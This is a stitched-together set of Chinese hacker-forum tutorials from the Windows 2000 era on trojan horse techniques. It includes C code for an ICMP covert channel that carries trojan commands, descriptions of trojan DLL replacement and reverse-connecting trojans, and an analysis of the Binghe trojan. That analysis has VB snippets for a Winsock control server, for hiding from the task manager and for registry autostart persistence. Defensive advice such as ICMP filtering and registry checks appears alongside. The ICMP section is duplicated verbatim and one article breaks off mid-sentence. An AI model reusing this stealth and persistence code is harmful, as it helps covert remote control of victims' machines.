注:为了使用发送接收超时设置(设置SO_RCVTIMEO, SO_SNDTIMEO),必须将标志位置为WSA_FLAG_OVERLAPPED
随后你可以使用fill_icmp_data子程序填充ICMP报文段:
fill_icmp_data函数:
void fill_icmp_data(char * icmp_data, int datasize)
{
IcmpHeader *icmp_hdr;
char *datapart;
icmp_hdr = (IcmpHeader*)icmp_data;
icmp_hdr->i_type = ICMP_ECHOREPLY; //类型为ICMP_ECHOREPLY
icmp_hdr->i_code = 0;
icmp_hdr->i_id = (USHORT)GetCurrentProcessId(); //识别号为进程号
icmp_hdr->i_cksum = 0; //校验和初始化
icmp_hdr->i_seq = 0; //序列号初始化
datapart = icmp_data + sizeof(IcmpHeader); //数据端的地址为icmp报文
地址加上ICMP的首部长度
memset(datapart,"A", datasize - sizeof(IcmpHeader)); //这里我填充的数据
全部为"A",你可以填充任何代码和数据,实际上
木马和控制端之间就是通过数据段传递数据的。
}
再使用CheckSum子程序计算ICMP校验和:
调用方法:
((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize);
CheckSum函数:
USHORT CheckSum (USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) cksum += *(UCHAR*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}// CheckSum函数是标准的校验和函数,你也可以用优化过的任何校验和函数来代替它
随后,就可以通过sendto函数发送ICMP_ECHOREPLY报文:
sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)); 作为服务端的监听程序,基本的操作相同,只是需要使用recvfrm函数接收ICMP_ECHOREPLY报文并用decoder函数将接收来的报文解码为数据和命令:
recv_icmp=recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen);
decode_resp(recvbuf,recv_icmp,&from);
decoder函数:
void decoder(char *buf, int bytes,struct sockaddr_in *from)
{
IpHeader *iphdr;
IcmpHeader *icmphdr;
unsigned short iphdrlen;
iphdr = (IpHeader *)buf; //IP首部的地址就等于buf的地址
iphdrlen = iphdr->h_len * 4 ; // 因为h_len是32位word,要转换成bytes必须*4
icmphdr = (IcmpHeader*)(buf + iphdrlen); //ICMP首部的地址等于IP首部长度加buf
printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr)); //取出源地址
printf(" icmp_id=%d. ",icmphdr->i_id); //取出进程号 printf(" icmp_seq=%d. ",icmphdr->i_seq); //取出序列号
printf(" icmp_type=%d",icmphdr->i_type); //取出类型
printf(" icmp_code=%d",icmphdr->i_code); //取出代码
for(i=0;i < ICMP_DATA_SIZE;I++) printf(?%c?,*(buf+iphdrlen+i+12));//取出数据段
}
注:在WIN2000下使用SOCK_RAW需要管理员的权限。
对于ICMP木马,除非你使用嗅探器或者监视windows的SockAPI调用,否则从网络上是很难发现木马的行踪的(关于进程的隐藏及破解会在下一篇文章中进行讨论),那么,有什么可以补救的方法呢?有的,就是过滤ICMP报文,对于win2000可以使用系统自带的路由功能对ICMP协议进行过滤,win2000的Routing & Remote Access功能十分强大,其中之一就是建立一个TCP/IP协议过滤器:打开Routing & Remote Access,选中机器名,在IP路由->General->网卡属性中有两个过滤器-输入过滤和输出过滤,只要在这里将你想过滤的协议制定为策略,ICMP木马就英雄无用武之地了;不过值得注意的是,一旦在输入过滤器中禁止了ICMP_ECHOREPLY报文,你就别想再用Ping这个工具了;如果过滤了所有的ICMP报文,你就收不到任何错误报文,当你使用IE访问一个并不存在的网站时,往往要花数倍的时间才能知道结果(嘿嘿,网络不可达、主机不可达、端口不可达报文你一个都收不到),而且基于ICMP协议的tracert工具也会失效,这也是方便和安全之间的矛盾统一了吧。
本文的撰写是为了深入地研究Win2000的入侵和防御技术,探讨TCP/IP协议和Windows编程技巧,请不要将文中的内容用于任何违法的目的,文中所附为试验性的ICMP通讯程序,仅仅提供通过ICMP_ECHOREPLY进行通讯交换数据的功能以供研究;如果你对本文中的内容或代码有疑问,请Mail to:Shotgun@xici.net,但是出于网络安全的考虑,本人不会提供任何木马软件及代码。
随后你可以使用fill_icmp_data子程序填充ICMP报文段:
fill_icmp_data函数:
void fill_icmp_data(char * icmp_data, int datasize)
{
IcmpHeader *icmp_hdr;
char *datapart;
icmp_hdr = (IcmpHeader*)icmp_data;
icmp_hdr->i_type = ICMP_ECHOREPLY; //类型为ICMP_ECHOREPLY
icmp_hdr->i_code = 0;
icmp_hdr->i_id = (USHORT)GetCurrentProcessId(); //识别号为进程号
icmp_hdr->i_cksum = 0; //校验和初始化
icmp_hdr->i_seq = 0; //序列号初始化
datapart = icmp_data + sizeof(IcmpHeader); //数据端的地址为icmp报文
地址加上ICMP的首部长度
memset(datapart,"A", datasize - sizeof(IcmpHeader)); //这里我填充的数据
全部为"A",你可以填充任何代码和数据,实际上
木马和控制端之间就是通过数据段传递数据的。
}
再使用CheckSum子程序计算ICMP校验和:
调用方法:
((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize);
CheckSum函数:
USHORT CheckSum (USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) cksum += *(UCHAR*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}// CheckSum函数是标准的校验和函数,你也可以用优化过的任何校验和函数来代替它
随后,就可以通过sendto函数发送ICMP_ECHOREPLY报文:
sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)); 作为服务端的监听程序,基本的操作相同,只是需要使用recvfrm函数接收ICMP_ECHOREPLY报文并用decoder函数将接收来的报文解码为数据和命令:
recv_icmp=recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen);
decode_resp(recvbuf,recv_icmp,&from);
decoder函数:
void decoder(char *buf, int bytes,struct sockaddr_in *from)
{
IpHeader *iphdr;
IcmpHeader *icmphdr;
unsigned short iphdrlen;
iphdr = (IpHeader *)buf; //IP首部的地址就等于buf的地址
iphdrlen = iphdr->h_len * 4 ; // 因为h_len是32位word,要转换成bytes必须*4
icmphdr = (IcmpHeader*)(buf + iphdrlen); //ICMP首部的地址等于IP首部长度加buf
printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr)); //取出源地址
printf(" icmp_id=%d. ",icmphdr->i_id); //取出进程号 printf(" icmp_seq=%d. ",icmphdr->i_seq); //取出序列号
printf(" icmp_type=%d",icmphdr->i_type); //取出类型
printf(" icmp_code=%d",icmphdr->i_code); //取出代码
for(i=0;i < ICMP_DATA_SIZE;I++) printf(?%c?,*(buf+iphdrlen+i+12));//取出数据段
}
注:在WIN2000下使用SOCK_RAW需要管理员的权限。
对于ICMP木马,除非你使用嗅探器或者监视windows的SockAPI调用,否则从网络上是很难发现木马的行踪的(关于进程的隐藏及破解会在下一篇文章中进行讨论),那么,有什么可以补救的方法呢?有的,就是过滤ICMP报文,对于win2000可以使用系统自带的路由功能对ICMP协议进行过滤,win2000的Routing & Remote Access功能十分强大,其中之一就是建立一个TCP/IP协议过滤器:打开Routing & Remote Access,选中机器名,在IP路由->General->网卡属性中有两个过滤器-输入过滤和输出过滤,只要在这里将你想过滤的协议制定为策略,ICMP木马就英雄无用武之地了;不过值得注意的是,一旦在输入过滤器中禁止了ICMP_ECHOREPLY报文,你就别想再用Ping这个工具了;如果过滤了所有的ICMP报文,你就收不到任何错误报文,当你使用IE访问一个并不存在的网站时,往往要花数倍的时间才能知道结果(嘿嘿,网络不可达、主机不可达、端口不可达报文你一个都收不到),而且基于ICMP协议的tracert工具也会失效,这也是方便和安全之间的矛盾统一了吧。
本文的撰写是为了深入地研究Win2000的入侵和防御技术,探讨TCP/IP协议和Windows编程技巧,请不要将文中的内容用于任何违法的目的,文中所附为试验性的ICMP通讯程序,仅仅提供通过ICMP_ECHOREPLY进行通讯交换数据的功能以供研究;如果你对本文中的内容或代码有疑问,请Mail to:Shotgun@xici.net,但是出于网络安全的考虑,本人不会提供任何木马软件及代码。
前言
离冰河二的问世已经快一年了,大家对于木马这种远程控制软件也有了一定的认识,比如:他会改注册表,他会监听端口等等,和一年前几乎没有人懂得木马是什么东西相比,这是一个质的飞跃。但是,在这个连“菜鸟”都会用NETSTAT看端口,用LOCKDOWN保护注册表的今天,难道木马就停步不前,等待我们的“杀戮”么?回答显然是否定的。木马在这一年当中,同样也不断进步,不断发展,他们变得更加隐蔽,更加灵活。本文试图通过分析近一年以来木马软件的发展,向大家介绍木马的最新攻防技巧,从而使大家能够更加安全地畅游在Internet上。 (本文中默认的操作系统为Win2000,默认的编程环境是VC++6.0)
在过去的一年当中,出过很多有名的木马,SUB7,BO2000,冰河等等,他们都有几个共同的特点,比如:开TCP端口监听,写注册表等等,因此,针对这些特点,也涌现出了不少查杀木马的工具,比如LockDown2000, Clean等,这些工具一般都是利用检查注册表和端口来寻找木马 (也有利用特征码来查找的,那种原始的思路我们就不说了,谁都知道,只要源码稍微改改,特征码查询就毫无用处)甚至还出了一些号称能防范未来多少年木马的软件。而在大家的不断宣传下,以下的木马法则已经妇孺皆知: 1、不要随便从不知名的网站上下载可执行文件,不要随便运行别人给的软件; 2、不要过于相信别人,不要随便打开邮件的附件; 3、经常检查自己的系统文件、注册表、端口、进程; 4、经常去查看最新的木马公告,更新自己防火墙的木马库; 这样看来,第一代木马的特性大家都已经耳熟能详,在这种情况下,作为一个地下工作者,木马的日子会非常难过。那么,木马就这样甘受屠戮,坐以待毙么?人类就这样灭绝了木马这个种族么?不是!木马为了生存,也在不断进化,在我们放松警惕,庆祝胜利的时候,木马已经经历了几次质的突变,现在的木马比起他们的前辈要更加隐蔽,更加巧妙,更难以发现,功能更强大。
一、关端口
祸从口出,同样,端口也是木马的最大漏洞,经过大家的不断宣传,现在连一个刚刚上网没有多久的“菜鸟”也知道用NETSTAT查看端口,木马的端口越做越高,越做越象系统端口,被发现的概率却越来越大。但是端口是木马的生命之源,没有端口木马是无法和外界进行通讯的,更不要说进行远程控制了。为了解决这个矛盾,木马们深入研究了Richard Stevens的TCP/IP协议详解,决定:放弃原来他们赖以生存的端口,转而进入地下。放弃了端口后木马怎么和控制端联络呢?对于这个问题,不同的木马采用了不同的方法,大致分为以下两种方法:寄生、潜伏。
1、寄生就是找一个已经打开的端口,寄生其上,平时只是监听,遇到特殊的指令就进行解释执行;因为木马实际上是寄生在已有的系统服务之上的,因此,你在扫描或查看系统端口的时候是没有任何异常的。据我所知,在98下进行这样的操作是比较简单的,但是对于Win2000 相对要麻烦得多。由于作者对这种技术没有很深的研究,在这里就不赘述了,感兴趣的朋友可以去http://www.ahjmw.gov.cn/cit/或者西祠胡同的WinSock版查看相关的资料。
2、潜伏是说使用IP协议族中的其它协议而非TCP/UDP来进行通讯,从而瞒过Netstat和端口扫描软件。一种比较常见的潜伏手段是使用ICMP协议,ICMP(Internet控制报文)是IP协议的附属协议,它是由内核或进程直接处理而不需要通过端口,一个最常见的ICMP协议就是Ping,它利用了ICMP的回显请求和回显应答报文。一个普通的ICMP木马会监听ICMP报文,当出现特殊的报文时(比如特殊大小的包、特殊的报文结构等)它会打开TCP端口等待控制端的连接,这种木马在没有激活时是不可见的,但是一旦连接上了控制端就和普通木马一样,本地可以看到状态为Established的链接(如果端口的最大连接数设为1,在远程使用Connect方法进行端口扫描还是没有办法发现的);而一个真正意义上的ICMP木马则会严格地使用ICMP协议来进行数据和控制命令的传递(数据放在ICMP的报文中),在整个过程中,它都是不可见的。(除非使用嗅探软件分析网络流量)
3、除了寄生和潜伏之外,木马还有其他更好的方法进行隐藏,比如直接针对网卡或Modem进行底层的编程,这涉及到更高的编程技巧。
二、隐藏进程
在win9x时代,简单的注册为系统进程就可以从任务栏中消失,可是在Window2000盛行的今天,这种方法遭到了惨败,注册为系统进程不仅仅能在任务栏中看到,而且可以直接在Services中直接控制停止、运行(太搞笑了,木马被客户端控制)。使用隐藏窗体或控制台的方法也不能欺骗无所不见的ADMIN大人(要知道,在NT下,Administrator是可以看见所有进程的)。在研究了其它软件的长处之后,木马发现,Windows下的中文汉化软件采用的陷阱技术非常适合木马的使用。
DLL陷阱技术是一种针对DLL(动态链接库)的高级编程技术,编程者用特洛伊DLL替换已知的系统DLL,并对所有的函数调用进行过滤,对于正常的调用,使用函数转发器直接转发给被替换的系统DLL,对于一些事先约定好的特殊情况,DLL会执行一些相对应的操作,一个比较简单的方法是起一个进程,虽然所有的操作都在DLL中完成会更加隐蔽,但是这大大增加了程序编写的难度,实际上这样的木马大多数只是使用DLL进行监听,一旦发现控制端的连接请求就激活自身,起一个绑端口的进程进行正常的木马操作。操作结束后关掉进程,继续进入休眠状况。
因为大量特洛伊DLL的使用实际上已经危害到了Windows操作系统的安全和稳定性,据说微软的下一代操作系统Window2001(海王星)已经使用了DLL数字签名、校验技术,因此,特洛伊DLL的时代很快会结束。取代它的将会是强行嵌入代码技术(插入DLL,挂接API,进程的动态替换等等),但是这种技术对于编写者的汇编功底要求很高,涉及大量硬编码的机器指令,并不是一般的木马编写者可以涉足。(晕,我是门都找不到,哪位高手可以指点我一下?)
三、争夺系统控制权
木马们并不甘于老是处于防守的地位,他们也会进攻,也会主动出击。WINNT下的溢出型木马就是这样的积极者,他们不仅仅简单的加载、守候、完成命令,而是利用种种系统的漏洞设法使自己成为系统的拥有者-ADMIN,甚至系统的控制者-System。那么,木马利用什么方法能一改过去到处逃亡的面目,从而成为系统的主宰呢?
首当其冲的显然是注册表:多年驰骋注册表的历史使得木马非常熟悉注册表的构造和特点(你呢,你能比木马更熟悉注册表么)Windows2000有几个注册表的权限漏洞,允许非授权用户改写ADMIN的设置,从而强迫ADMIN执行木马程序,这个方法实现起来比较容易,但是会被大多数的防火墙发现。
其次是利用系统的权限漏洞,改写ADMIN的文件、配置等等,在ADMIN允许Active Desktop的情况下这个方法非常好用,但是对于一个有经验的管理员,这个方法不是太有效;
第三个选择是系统的本地溢出漏洞,由于木马是在本地运行的,它可以通过本地溢出的漏洞(比如IIS的本地溢出漏洞等),直接取得system的权限。这部分内容在袁哥和很多汇编高手的文章中都有介绍,我就不再赘述了。(偷偷告诉你,其实是我说不出来,我要是能写出那样的溢出程序我还用在这里......)
四、防火墙攻防战
现在,在个人防火墙如此之流行的今天,也许有人会说:我装个防火墙,不管你用什么木马,在我系统上搞什么,防火墙设了只出不进,反正你没法连进来。同样,对于局域网内的机器,原先的木马也不能有效的进行控制(难道指望网关会给你做NAT么?)但是,城墙从来就挡不住木马:在古希腊的特洛伊战争中,人们是推倒了城墙来恭迎木马的,而在这个互联网的时代,木马仍然以其隐蔽性和欺诈性使得防火墙被从内部攻破。其中反弹端口型的木马非常清晰的体现了这一思路。
反弹端口型木马分析了防火墙的特性后发现:防火墙对于连入的链接往往会进行非常严格的过滤,但是对于连出的链接却疏于防范。于是,与一般的木马相反,反弹端口型木马的服务端(被控制端)使用主动端口,客户端(控制端)使用被动端口,木马定时监测控制端的存在,发现控制端上线立即弹出端口主动连结控制端打开的主动端口,为了隐蔽起见,控制端的被动端口一般开在80,这样,即使用户使用端口扫描软件检查自己的端口,发现的也是类似 TCP UserIP:1026 ControllerIP:80 ESTABLISHED的情况,稍微疏忽一点你就会以为是自己在浏览网页。(防火墙也会这么认为的,我想大概没有哪个防火墙会不给用户向外连接80端口吧,嘿嘿)看到这里,有人会问:那服务端怎么能知道控制端的IP地址呢?难道控制端只能使用固定的IP地址?哈哈,那不是自己找死么?一查就查到了。
实际上,这种反弹端口的木马常常会采用固定IP的第三方存储设备来进行IP地址的传递。举一个简单的例子:事先约定好一个个人主页的空间,在其中放置一个文本文件,木马每分钟去GET一次这个文件,如果文件内容为空,就什么都不做,如果有内容就按照文本文件中的数据计算出控制端的IP和端口,反弹一个TCP链接回去,这样每次控制者上线只需要FTP一个INI文件就可以告诉木马自己的位置,为了保险起见,这个IP
前言 在网上,大家最关心的事情之一就是木马:最近出了新的木马吗?木马究竟能实现哪些功能?木马如何防治?木马究竟是如何工作的?本文试图以我国最著名的木马之一 - 冰河为例,向大家剖析木马的基本原理,为大家揭开木马的神秘面纱。 木马冰河是用C++Builder写的,为了便于大家理解,我将用相对比较简单的VB来说明它,其中涉及到一些WinSock编程和Windows API的知识,如果你不是很了解的话,请去查阅相关的资料。
一、基础篇(揭开木马的神秘面纱) 无论大家把木马看得多神秘,也无论木马能实现多么强大的功能,木马,其实质只是一个网络客户/服务程序。那么,就让我们从网络客户/服务程序的编写开始。 1.基本概念: 网络客户/服务模式的原理是一台主机提供服务(服务器),另一台主机接受服务(客户机)。作为服务器的主机一般会打开一个默认的端口并进行监听(Listen), 如果有客户机向服务器的这一端口提出连接请求(Connect Request), 服务器上的相应程序就会自动运行,来应答客户机的请求,这个程序我们称为守护进程(UNIX的术语,不过已经被移植到了MS系统上)。对于冰河,被控制端就成为一台服务器,控制端则是一台客户机,G_server.exe是守护进程, G_client是客户端应用程序。(这一点经常有人混淆,而且往往会给自己种了木马!甚至还有人跟我争得面红耳赤,昏倒!!) 2.程序实现: 在VB中,可以使用Winsock控件来编写网络客户/服务程序, 实现方法如下: (其中,G_Server和G_Client均为Winsock控件) 服务端: G_Server.LocalPort=7626(冰河的默认端口,可以改为别的值) G_Server.Listen(等待连接) 客户端: G_Client.RemoteHost=ServerIP(设远端地址为服务器地址) G_Client.RemotePort=7626 (设远程端口为冰河的默认端口,呵呵,知道吗?这是冰河的生日哦) (在这里可以分配一个本地端口给G_Client, 如果不分配, 计算机将会自动分配一个, 建议让计算机自动分配) G_Client.Connect (调用Winsock控件的连接方法) 一旦服务端接到客户端的连接请求ConnectionRequest,就接受连接 Private Sub G_Server_ConnectionRequest(ByVal requestID As Long) G_Server.Ac t requestID End Sub
客户机端用G_Client.SendData发送命令,而服务器在G_Server_DateArrive事件中接受并执行命令(几乎所有的木马功能都在这个事件处理程序中实现)
如果客户断开连接,则关闭连接并重新监听端口 Private Sub G_Server_Close() G_Server.Close (关闭连接) G_Server.Listen (再次监听) End Sub
其他的部分可以用命令传递来进行,客户端上传一个命令,服务端解释并执行命令......
二、控制篇(木马控制了这个世界!) 由于Win98开放了所有的权限给用户,因此,以用户权限运行的木马程序几乎可以控制一切,让我们来看看冰河究竟能做些什么(看了后,你会认同我的观点:称冰河为木马是不恰当的,冰河实现的功能之多,足以成为一个成功的远程控制软件) 因为冰河实现的功能实在太多,我不可能在这里一一详细地说明,所以下面仅对冰河的主要功能进行简单的概述, 主要是使用Windows API函数, 如果你想知道这些函数的具体定义和参数, 请查询WinAPI手册。 1.远程监控(控制对方鼠标、键盘,并监视对方屏幕) keybd_event 模拟一个键盘动作(这个函数支持屏幕截图哦)。 mouse_event 模拟一次鼠标事件(这个函数的参数太复杂,我要全写在这里会被编辑骂死的,只能写一点主要的,其他的自己查WinAPI吧) mouse_event(dwFlags,dx,dy,cButtons,dwExtraInfo)
dwFlags: MOUSEEVENTF_ABSOLUTE 指定鼠标坐标系统中的一个绝对位置。 MOUSEEVENTF_MOVE 移动鼠标 MOUSEEVENTF_LEFTDOWN 模拟鼠标左键按下 MOUSEEVENTF_LEFTUP 模拟鼠标左键抬起 MOUSEEVENTF_RIGHTDOWN 模拟鼠标右键按下 MOUSEEVENTF_RIGHTUP 模拟鼠标右键按下 MOUSEEVENTF_MIDDLEDOWN 模拟鼠标中键按下 MOUSEEVENTF_MIDDLEUP 模拟鼠标中键按下 dx,dy: MOUSEEVENTF_ABSOLUTE中的鼠标坐标
2.记录各种口令信息(出于安全角度考虑,本文不探讨这方面的问题,也请不要给我来信询问)
3.获取系统信息 a.取得计算机名 GetComputerName b.更改计算机名 SetComputerName c.当前用户 GetUserName函数 d.系统路径 Set FileSystem0bject = CreateObject("Scripting.FileSystemObject") (建立文件系统对象) Set SystemDir = FileSystem0bject.getspecialfolder(1) (取系统目录) Set SystemDir = FileSystem0bject.getspecialfolder(0) (取Windows安装目录) (友情提醒: FileSystemObject是一个很有用的对象,你可以用它来完成很多有用的文件操作)
e.取得系统版本 GetVersionEx(还有一个GetVersion,不过在32位windows下可能会有问题,所以建议用GetVersionEx
f.当前显示分辨率 Width = screen.Width \ screen.TwipsPerPixelX Height= screen.Height \ screen.TwipsPerPixelY
其实如果不用Windows API我们也能很容易的取到系统的各类信息,那就是Winodws的"垃圾站"-注册表 比如计算机名和计算机标识吧: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\VNETSUP 中的Comment,ComputerName和WorkGroup 注册公司和用户名: HKEY_USERS\.DEFAULT\Software\Microsoft\MS Setup (ACME)\UserInfo 至于如何取得注册表键值请看第6部分
4.限制系统功能 a.远程关机或重启计算机,使用WinAPI中的如下函数可以实现: ExitWindowsEx(ByVal uFlags,0) 当uFlags=0 EWX_LOGOFF 中止进程,然后注销 =1 EWX_SHUTDOWN 关掉系统电源 =2 EWX_REBOOT 重新引导系统 =4 EWX_FORCE 强迫中止没有响应的进程 b.锁定鼠标 ClipCursor(lpRect As RECT)可以将指针限制到指定区域,或者用ShowCursor(FALSE)把鼠标隐藏起来也可以 注:RECT是一个矩形,定义如下: Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type
c.锁定系统 这个有太多的办法了,嘿嘿,想Windows不死机都困难呀,比如,搞个死循环吧,当然,要想系统彻底崩溃还需要一点技巧,比如设备漏洞或者耗尽资源什么的......
d.让对方掉线 RasHangUp......
e.终止进程 ExitProcess......
f.关闭窗口 利用FindWindow函数找到窗口并利用SendMessage函数关闭窗口
5.远程文件操作 无论在哪种编程语言里, 文件操作功能都是比较简单的, 在此就不赘述了,你也可以用上面提到的FileSystemObject对象来实现
6.注册表操作 在VB中只要Set RegEdit=CreateObject("WScript.Shell") 就可以使用以下的注册表功能: 删除键值:RegEdit.RegDelete RegKey 增加键值:RegEdit.Write RegKey,RegValue 获取键值:RegEdit.RegRead (Value) 记住,注册表的键值要写全路径,否则会出错的。
7.发送信息 很简单,只是一个弹出式消息框而已,VB中用MsgBox("")就可以实现,其他程序也不太难的。
8.点对点通讯 呵呵,这个嘛随便去看看什么聊天软件就行了 (因为比较简单但是比较烦,所以我就不写了,呵呵。又:我始终没有搞懂冰河为什么要在木马里搞这个东东,困惑......)
9.换墙纸 Call SystemParametersInfo(20,0,"BMP路径名称",&H1) 值得注意的是,如果使用了Active Desktop,换墙纸有可能会失败,遇到这种问题,请不要找冰河和我,去找比尔盖子吧。
三、潜行篇(Windows,一个捉迷藏的大森林) 木马并不是合法的网络服务程序(即使你是把木马装在女朋友的机子上,也是不合法的,当然,这种行为我可以理解,呵呵),因此,它必须想尽一切办法隐藏自己,好在,Windows是一个捉迷藏的大森林! 1、在任务栏中隐藏自己: 这是最基本的了,如果连这个都做不到......(想象一下,如果Windows的任务栏里出现一个国际象棋中木马的图标...@#$%!#@$...也太嚣张了吧!) 在VB中,只要把form的Visible属性设为False, ShowInTaskBar设为False, 程序就不会出现在任务栏中了。
2、在任务管理器中隐形:(就是按下Ctrl+Alt+Del时看不见那个名字叫做“木马”的进程) 这个有点难度,不过还是难不倒我们,将程序设为“系统服务”可以很轻松的伪装成比尔盖子的嫡系部队(Windows,我们和你是一家的,不要告诉别人我藏在哪儿...)。 在VB中如下的代码可以实现这一功能: Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long (以上为声明) Private Sub Form_Load() RegisterServiceProcess GetCurrentProcessId, 1 (注册系统服务) End Sub Private Sub Form_Unload() RegisterServiceProcess GetCurrentProcessId, 0 (取消系统服务) End Sub
3、如何悄没声息地启动: 你当然不会指望用户每次启动后点击木马图标来运行服务端,木马要做到的第二重要的事就是如何在每次用户启动时自动装载服务端(第一重要的是如何让对方中木马,嘿嘿,这部分的内容将在后面提到) Windows支持多种在系统启动时自动加载应用程序的方法(简直就像是为木马特别定做的)启动组、win.ini、system.ini、注册表等等都是木马藏身的好地方。冰河采用了多种方法确保你不能摆脱它(怎么听起来有点死缠烂打呀....哎呦,谁呀谁呀,那什么黄鑫,不要拿鸡蛋扔我!)首先,冰河会在注册表的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run和RUNSERVICE键值中加上了$#@60;system>\kernl32.exe($#@60;system>是系统目录), 其次如果你删除了这个键值,自以为得意地喝著茶的时候,冰河又阴魂不散地出现了...怎么回事?原来冰河的服务端会在c:\windows(这个会随你windows的安装目录变化而变化)下生成一个叫sysexplr.exe文件(太象超级解霸了,好毒呀,冰河!),这个文件是与文本文件相关联的,只要你打开文本(哪天不打开几次文本?), sysexplr.exe文件就会重新生成krnel32.exe, 然后你还是被冰河控制著。
4、端口 木马都会很注意自己的端口(你呢?你关心你的6万多个端口吗?),如果你留意的话,你就会发现,木马端口一般都在1000以上,而且呈越来越大的趋势(netspy是1243....)这是因为,1000以下的端口是常用端口,占用这些端口可能会造成系统不正常,这样木马就会很容易暴露; 而由于端口扫描是需要时间的(一个很快的端口扫描器在远程也需要大约二十分钟才能扫完所有的端口),故而使用诸如54321的端口会让你很难发现它。在文章的末尾我给大家转贴了一个常见木马的端口表,你就对著这个表去查吧(不过,值得提醒的是,冰河及很多比较新的木马都提供端口修改功能,所以,实际上木马能以任意端口出现) 5.最新的隐身技术 目前,除了冰河使用的隐身技术外,更新、更隐蔽的方法已经出现,那就是-驱动程序及动态链接库技术(冰河3.0会采用这种方法吗?)。 驱动程序及动态链接库技术和一般的木马不同,它基本上摆脱了原有的木马模式-监听端口,而采用替代系统功能的方法(改写驱动程序或动态链接库)。这样做的结果是:系统中没有增加新的文件(所以不能用扫描的方法查杀)、不需要打开新的端口(所以不能用端口监视的方法查杀)、没有新的进程(所以使用进程查看的方法发现不了它,也不能用kill进程的方法终止它的运行)。在正常运行时木马几乎没有任何的症状,而一旦木马的控制端向被控端发出特定的信息后,隐藏的程序就立即开始运作...... 事实上,我已经看到过几个这样类型的木马,其中就有通过改写vxd文件建立隐藏共享的木马...
四、破解篇(魔高一尺、道高一丈) 本文主要是探讨木马的基本原理, 木马的破解并非是本文的重点(也不是我的长处),具体的破解请大家期待yagami的《特洛伊木马看过来》(我都期待一年了,大家和我一起继续期待吧,嘿嘿),本文只是对通用的木马防御、卸载方法做一个小小的总结: 1.端口扫描 端口扫描是检查远程机器有无木马的最好办法, 端口扫描的原理非常简单, 扫描程序尝试连接某个端口, 如果成功, 则说明端口开放, 如果失败或超过某个特定的时间(超时), 则说明端口关闭。(关于端口扫描,Oliver有一篇关于“半连接扫描”的文章,很精彩,那种扫描的原理不太一样,不过不在本文讨论的范围之中)
但是值得说明的是, 对于驱动程序/动态链接木马, 扫描端口是不起作用的。
2.查看连接 查看连接和端口扫描的原理基本相同,不过是在本地机上通过netstat -a(或某个第三方的程序)查看所有的TCP/UDP连接,查看连接要比端口扫描快,缺点同样是无法查出驱动程序/动态链接木马,而且仅仅能在本地使用。
3.检查注册表 上面在讨论木马的启动方式时已经提到,木马可以通过注册表启动(好像现在大部分的木马都是通过注册表启动的,至少也把注册表作为一个自我保护的方式),那么,我们同样可以通过检查注册表来发现"马蹄印",冰河在注册表里留下的痕迹请参照《潜行篇》。
4.查找文件 查找木马特定的文件也是一个常用的方法(这个我知道,冰河的特征文件是G_Server.exe吧? 笨蛋!哪会这么简单,冰河是狡猾狡猾的......)冰河的一个特征文件是kernl32.exe(靠,伪装成Windows的内核呀),另一个更隐蔽,是sysexlpr.exe(什么什么,不是超级解霸吗?)对!冰河之所以给这两个文件取这样的名字就是为了更好的伪装自己, 只要删除了这两个文件,冰河就已经不起作用了。其他的木马也是一样(废话,Server端程序都没了,还能干嘛?) 黄鑫:"咳咳,不是那么简单哦......"(狡猾地笑) 是的, 如果你只是删除了sysexlpr.exe而没有做扫尾工作的话,可能会遇到一些麻烦-就是你的文本文件打不开了,因为前面说了,sysexplr.exe是和文本文件关联的,你还必须把文本文件跟notepad关联上,方法有三种: a.更改注册表(我就不说了,有能力自己改的想来也不要我说,否则还是不要乱动的好) b.在$#@60;我的电脑>-查看-文件夹选项-文件类型中编辑< c.按住SHIFT键的同时鼠标右击任何一个TXT文件,选择打开方式,选中$#@60;始终用该程序打开......>,然后找到notepad,点一下就OK了。(这个最简单,推荐使用) 黄鑫:"我...我笑不起来了 :( " 提醒一下,对于木马这种狡猾的东西,一定要小心又小心,冰河是和txt文件关联的,txt打不开没什么大不了,如果木马是和exe文件关联而你贸然地删了它......你苦了!连regedit都不能运行了!
5.杀病毒软件 之所以把杀病毒软件放在最后是因为它实在没有太大的用,包括一些号称专杀木马的软件也同样是如此, 不过对于过时的木马以及菜鸟安装的木马(没有配置服务端)还是有点用处的, 值得一提的是最近新出来的ip armor在这一方面可以称得上是比较领先的,它采用了监视动态链接库的技术,可以监视所有调用Winsock的程序,并可以动态杀除进程,是一个个人防御的好工具(虽然我对传说中“该软件可以查杀未来十年木马”的说法表示怀疑,嘿嘿,两年后的事都说不清,谁知道十年后木马会“进化”到什么程度?甚至十年后的操作系统是什么样的我都想象不出来)
